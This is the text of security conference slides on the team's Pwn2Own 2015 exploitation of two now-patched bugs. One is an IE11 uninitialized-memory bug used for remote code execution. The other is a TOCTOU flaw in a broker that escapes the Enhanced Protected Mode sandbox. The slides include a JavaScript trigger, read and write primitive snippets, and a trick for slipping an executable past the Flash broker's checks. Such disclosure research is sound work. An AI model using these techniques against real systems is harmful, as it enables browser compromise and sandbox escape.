Hey Man,
Have You Forgotten to Initialize Your Memory?

@guhe120
@holynop
• Background
• From Uninitialized memory bug to RCE
  – CVE-2015-1745
• Bypass EPM Sandbox
  – CVE-2015-1743
Who are we?

- Security Researchers
- 86 Vulnerability Acknowledgements from Microsoft (Dozens from Apple/Adobe...)
- Microsoft mitigation bypass reward
- Pwn2Own 2015
- Syscan/BlackHat/HITCON/Syscan360/POC
- Qihoo 360 – The largest Internet Security Company in China
Background
• This year’s IE target is a bit difficult
  – 64-bit process
  – Bypass EPM without restart/relogin
  – New Mitigations: Isolated Heap, Deferred Freed, CFG
  – EMET
  – Rule announced before Chinese new year holiday
CHALLENGE

ACCEPTED
From Uninitialized memory bug to RCE

CVE-2015-1745
One category of memory corruption bugs

“Uninitialized memory data is used in program, leading to unpredictable result”

Uninitialized heap memory:
```c
int *unitialized_heap_buffer = (int *)malloc(10 * sizeof(int));
int uninitialized_value = uninitialized_heap_buffer[0];
```

Uninitialized stack variable:
```c
int unitialized_stack_buffer[10];
int uninitialized_value = uninitialized_stack_buffer[10];
```
• Common bugs in code
• Enemy of ASLR
• Not that often, brings us nice exploits
  – CVE-2012-1889 (IE msxml bug, poc exploit by VUPEN)
  – CVE-2014-8440 (Flash uncompress bug, exploited in the wild)
  – CVE-2015-0090 (Windows ATMFD font driver uninitialized kernel pool pointer, by Mateusz Jurczyk)
Uninitialized memory bug - the left bag
• Found by fuzzing
• Credit @holynop
• uninitialized CAttrValue in CAttrArray
• A CAttrValue can be accessed before initialize
DOM elements can have attributes:

```javascript
element.setAttribute('foo', 'bar');  // set attribute
element.getAttribute('foo');          // get attribute
```

- CAttrValue
  - inner data structure for an attribute
- CAttrArray
  - array to store CAttrValues
• CAttrValue can contain value of variant
• vtType filed indicates data type

```c
Class CAttrValue {
    Byte b1;
    Byte vtType;
    WORD w1;
    DWORD dispid;
    Union {
        ULONG *pulong;
        BSTR bstr;
        VARIANT *variant;
        ...
    } value;
}
```

```c
enum VARENUM {
    VT_EMPTY = 0,
    VT_NULL = 1,
    VT_I2 = 2,
    VT_I4 = 3,
    VT_R4 = 4,
    VT_R8 = 5,
    VT_CY = 6,
    VT_DATE = 7,
    ...
}
```

```javascript
var div = document.createElement('div');
div.setAttribute('aaa', '111');
```
// 1. Set some Attributes in document.all[8]
document.all[8].clearAttributes()
document.all[8].setAttribute("aaa", 0xa);
document.all[8].setAttribute("bbb", 0xb);

document.all[8].setAttribute("bbb1", 0xc);
document.all[8].setAttribute("bbb2", 0xd);
document.all[8].setAttribute("bbb3", 0xe);

// 2. Set some Attributes in document.body
document.body.clearAttributes()
document.body.setAttribute("aaa", document.body.childNodes);
document.body.setAttribute("ccc","66666666666666666666666666666666");

// 3. Call mergeAttributes, a new CAttrArray will be allocated to store the merged attributes,
// one entry in the new allocated CAttrArray is not initialized
document.body.mergeAttributes(document.all[8], false);
document.body.mergeAttributes(document.all[8], false);

Allocate a new CAttrArray which have 9 CAttrValues

CAttrArray[4] is skiped during the merge (because of the bug), and will be uninitialized
Exploit Plan

- Leak memory address
- Create fake attribute to gain arbitrary read
- Create fake array to gain arbitrary RW
- Bypass CFG/EMET
- Win
The very first thing we have to do is **to control** the data in the uninitialized memory.

**How?**

- Alloc -> Free -> Alloc -> Control
Control Memory

Alloc b1
Some Content

Free b1
Content left by b1 (not cleared)

Alloc b2
Content left by b1

Access
Uninitialized Memory

Controlled!
Key Points to Control

• b1 and b2 should be in the same heap
• Content of b1 should not be cleared after b1 is freed
  – MemoryProtect::Free 😞
  – SysFreeString ☺
• Content of b2 should not be set to zero when allocate b2
  – cmalloc 😞
  – HEAP_ZERO_MEMORY in HeapAlloc 😞
  – CAttrValue array allocated via HeapAlloc with out HEAP_ZERO_MEMORY - Lucky! ☺
• Now we can control the content of a CAttrValue – With what?

But in 64-bit process, simple heap-spraying does not work.
Assume a successful heap-spraying on 32-bit needs 200M bytes, then on 64-bit you need to spray more than 50G bytes.
We need an information Leak First
• Directly leak address of interested data
  – If you are lucky enough to have such a bug 😊

• Leak address of some data in the same heap
  + Some kind of Heap Fengshui
  = we can guess the address of interested data
• Allocate some (300 +) Attribute Arrays
• Each Attribute Array contains 9 attributes
  (same with the uninitialized CAttrArray after mergeAttributes)
• The 4\textsuperscript{th} attribute in the array points to a string
  which is 0x30 bytes in memory

\[ xxx[i].ccc = str \]

0x30 bytes string
• Free half of these Attribute Arrays
• The content of the freed Attribute Arrays will not be cleared
• Trig the bug, allocate vulnerable CAttrArray with uninitialized CAttrValue
• The 4th CAttrValue will be a string attribute that points to the 0x30 bytes string

```
document.body.getAttribute("ccc") gets a String attribute
```

```
uninit
...
```

```
AAAAAAA...
```

```
0x30 bytes string
```
• Free the 0x30 bytes string
• Spray runtimeStyle objects to reuse the memory
• Read the uninitialized CAttrValue out to leak a pointer to the runtimeStyle style attribute array

```
document.body.getAttribute("ccc")
```

Gets a String attribute

**Leak Step 4**
The relative spray:
runthestyle_array_addr + 0x2000000 = address of one of the IntArrays
• We leaked the address of an IntArray in memory
• What we can do with this?
  ✓ We can make uninitialized CAttrValue points into the array
  ✓ Means we can make fake CAttrValue of any types!
• Let’s party!
• We trig the bug for the second time
  – Using string to control the uninitialized CAttrValue

Tips:
We use JS 5.8 string
whose content will not be cleared after it is freed
Uninitialized CAttrValue (controlled by string data)

Allocate String

Freed String
(data remained)

Attribute Array

Fake Variant data in IntArray

Point to leaked IntArray

Uninitialized CAttrValue

0x0c == VT_VARIANT

Trig the bug

free
Leaked Javascript Array
• Variant is a data structure that can represent various types of data
  – Int, Boolean, Long, ...
  – IntPtr, UIntPtr,...
  – Array
  – Object
• Make a fake UINT_PTR variant

0x4013 = VT_BYREF | VT_UI4
Means pointer to uint32

function readUI4(addr_high, addr_low) {
    .....  
    arr_arr[arr_arr_index][0] = 0x00004013
    arr_arr[arr_arr_index][2] = addr_low
    arr_arr[arr_arr_index][3] = addr_high
    return parseInt(document.all[9].getAttribute("ccc"))
}
Achieve Arbitrary Write

• The go-to way in IE exploitation
  – Corrupt the length filed of a javascript array

• A crazy idea - Make a fake JavaScript IntArray
  – Copy necessary fields (vftable, members,...) from a real IntArray with the arbitrary read primitive to our fake array
  – Except that our fake array have a large length (0x7fffffff) 😊
0x09 = VT_DISPATCH
Means object with Idispatch Interface

Fake IntArray
Length = 0x7fffffff

Copy data from normal array to fake array with the arbitrary read primitive

The javascript array we leaked previously
Bypass CFG & EMET

• If you have arbitrary memory R/W, CFG/EMET is not a big problem
Several Ways to Bypass CFG

• Call valid APIs
• Find stack address
• Overwrite the stack
• Use direct calls
• No execution flow control
• Legacy modules which are not compiled with CFG
Done?

Not yet...
Bypass EPM Sandbox

CVE-2015-1743
• Enhanced sandbox mode which is not enabled by default in IE11

• Great sharing and study materials by James Forshaw
  – <<Legacy Sandboxing: Escaping IE11 Enhanced Protected Mode>>
  – https://github.com/tyranid/IE11SandboxEscapes
• Uses Windows 8 AppContainer to further restrict what sandboxed process can do
• TOCTOU bug in IE Install Service Broker
• Credit @pgboy
• What is the Broker Service?
  – Broker interface provided by Medium Integrity processes
  – So that protected mode process (like IE sandboxed process) can access to some restricted resource
• Broker service for IE to install Add-ons (ActiveX Controls)
3 Steps to install a exe file:
VerifyFile -> InstallFile -> RegisterExeFile
llmAxilInstaller2Ptr installer;
...
installer->VerifyFile(...);
installer->InstallFile(...);
installer->RegisterExeFile(...);
Install A.exe to MyFolder

1. VerifyFile
   - Signature Valid?
   - Medium Integrity Level?

2. InstallFile
   - Copy a.exe to MyFolder

3. RegisterExeFile
   - CreateProcess("MyFolder\a.exe")
• File validated in step 1
• In step 3, before actually executing the file, it does not validate it again!
Exploit Plan

1. VerifyFile

   iexplore.exe
   (any valid signed file)

   Verify OK

2. InstallFile

   Copy iexplore.exe to MyFolder

3. RegisterExeFile

   CreateProcess("MyFolder\iexplore.exe")
Another Problem

- We need to overwrite the file in the destination folder
- IE sandboxed process can only write to AppContainer folder
- If the file is dropped and executed in low-integrity level folder, it will also be low-integrity process
- We need to be able to write an executable file to a medium-integrity folder
### Flash Broker

<table>
<thead>
<tr>
<th>Process</th>
<th>PID</th>
<th>Signature</th>
</tr>
</thead>
<tbody>
<tr>
<td>svchost.exe</td>
<td>628</td>
<td></td>
</tr>
<tr>
<td>FlashUtil_ActiveX.exe</td>
<td>3752</td>
<td>Medium</td>
</tr>
<tr>
<td>RuntimeBroker.exe</td>
<td>1828</td>
<td>Medium</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>672</td>
<td></td>
</tr>
</tbody>
</table>

```c
EXTERN_C const IID IID_IFlashBroker;

#if defined(_cplusplus) && !defined(CINTERFACE)

MIDL_INTERFACE("2E4BB6BE-A75F-4DC0-9500-68203655A2C4")
IFlashBroker : public IDispatch
{
public:
    virtual /* [id] */ HRESULT STDMETHODCALLTYPE BrokerCreateFile(
        /* [in] */ BSTR pFileName,
        /* [in] */ long p_readOnly,
        /* [in] */ long p_truncateOnOpen,
        /* [out] */ unsigned long *p_fileCookie) = 0;

    virtual /* [id] */ HRESULT STDMETHODCALLTYPE BrokerCloseHandle(
        /* [in] */ unsigned long p_fileCookie) = 0;

    virtual /* [id] */ HRESULT STDMETHODCALLTYPE BrokerSetFilePointer(
        /* [in] */ unsigned long p_fileCookie,
        /* [in] */ long p_distanceToMove,
        /* [in] */ unsigned long p_moveMethod,
```
• Have broker interfaces to write file
• Can only write to pre-defined folders
  – C:\Users\xxx\AppData\Roaming\Adobe (Not low integrity!)
No Exe

```
.rdata:1003AE48 off_1003AE48 dd offset a_txt        ; ".TXT"
.rdata:1003AE4C dd offset a_sor        ; ".SOR"
.rdata:1003AE50 dd offset a_sol        ; ".SOL"
.rdata:1003AE54 dd offset a_ssr        ; ".SSR"
.rdata:1003AE58 dd offset a_ssl        ; ".SSL"
.rdata:1003AE5C dd offset a_sxx        ; ".SXX"
.rdata:1003AE60 dd offset a_xml        ; ".XML"
.rdata:1003AE64 dd offset a_ahd        ; ".AHD"
.rdata:1003AE68 dd offset a_dat        ; ".DAT"
.rdata:1003AE6C dd offset a_swz        ; ".SWZ"
.rdata:1003AE70 dd offset a_heu        ; ".HEU"
.rdata:1003AE74 dd offset a_tmp        ; ".TMP"
.rdata:1003AE78 dd offset a_s          ; ".S"
.rdata:1003AE7C dd offset a_directory  ; ".DIRECTORY"
.rdata:1003AE80 dd offset a_png        ; ".PNG"
.rdata:1003AE84 dd offset a_sss        ; ".SSS"
.rdata:1003AE88 dd offset a_gs         ; ".GS"
.rdata:1003AE8C dd offset a_mgd        ; ".MGD"
.rdata:1003AE90 dd offset a_lkg        ; ".LKG"
.rdata:1003AE94 dd offset a_lck        ; ".LIC"
.rdata:1003AE98 dd offset a_vch        ; ".VCH"
.rdata:1003AE9C dd offset a_dll_0      ; ".DLL"
.rdata:1003AEA0 dd offset a_meta       ; ".META"
.rdata:1003AEA4 dd offset a.ico_0      ; ".ICO"
.rdata:1003AEA8 dd offset a_json       ; ".JSON"
```
CreateProcess Will Check EXE File Automatically

• CreateProcess ( “1.tmp” )
• CreateProcess ( “1.jpg” )
In BrokerWriteFile, it checks whether you are trying to write a PE file by checking the Dos sianature ('MZ') and PE signature ('PE')

```c
if ((unsigned __int8)sub_1000BFAC(v6, *((DWORD *)(v4 + 0x14)), psa->)
        *((BYTE *)(v4 + 9)) = *((BYTE *)ppvData + v14) == 'M';
if ( *((BYTE *)(v4 + 9)) )
{
    if ((unsigned __int8)sub_1000BFAC(1, *((DWORD *)(v4 + 0x14)), psa->)
           *((BYTE *)(v4 + 9)) = *((BYTE *)ppvData + v14) == 'Z';
    if ( *((BYTE *)(v4 + 9)) )
    {  
```
• Don’t write Dos signature (‘MZ’) at the first time
• Later, use BrokerSetFilePointer to get back, and write Dos signature (‘MZ’)
Done?

Yes
Demo
Special Thanks To

• Blackhat
• Zero Day Initiative
• Guys in 360 vulcan Team
  - MJ0011
  - pgboy1988
  ...

Join Us

• Bug Hunting
• Vulnerability Exploitation
• APT Analysis and Discovery
• 360vulcan@360safe.com
• Exploit skills in 64-bit browser
• Using Uninitialized bug to achieve RCE
• Using TOCTOU bug to bypass sandbox
Thank you!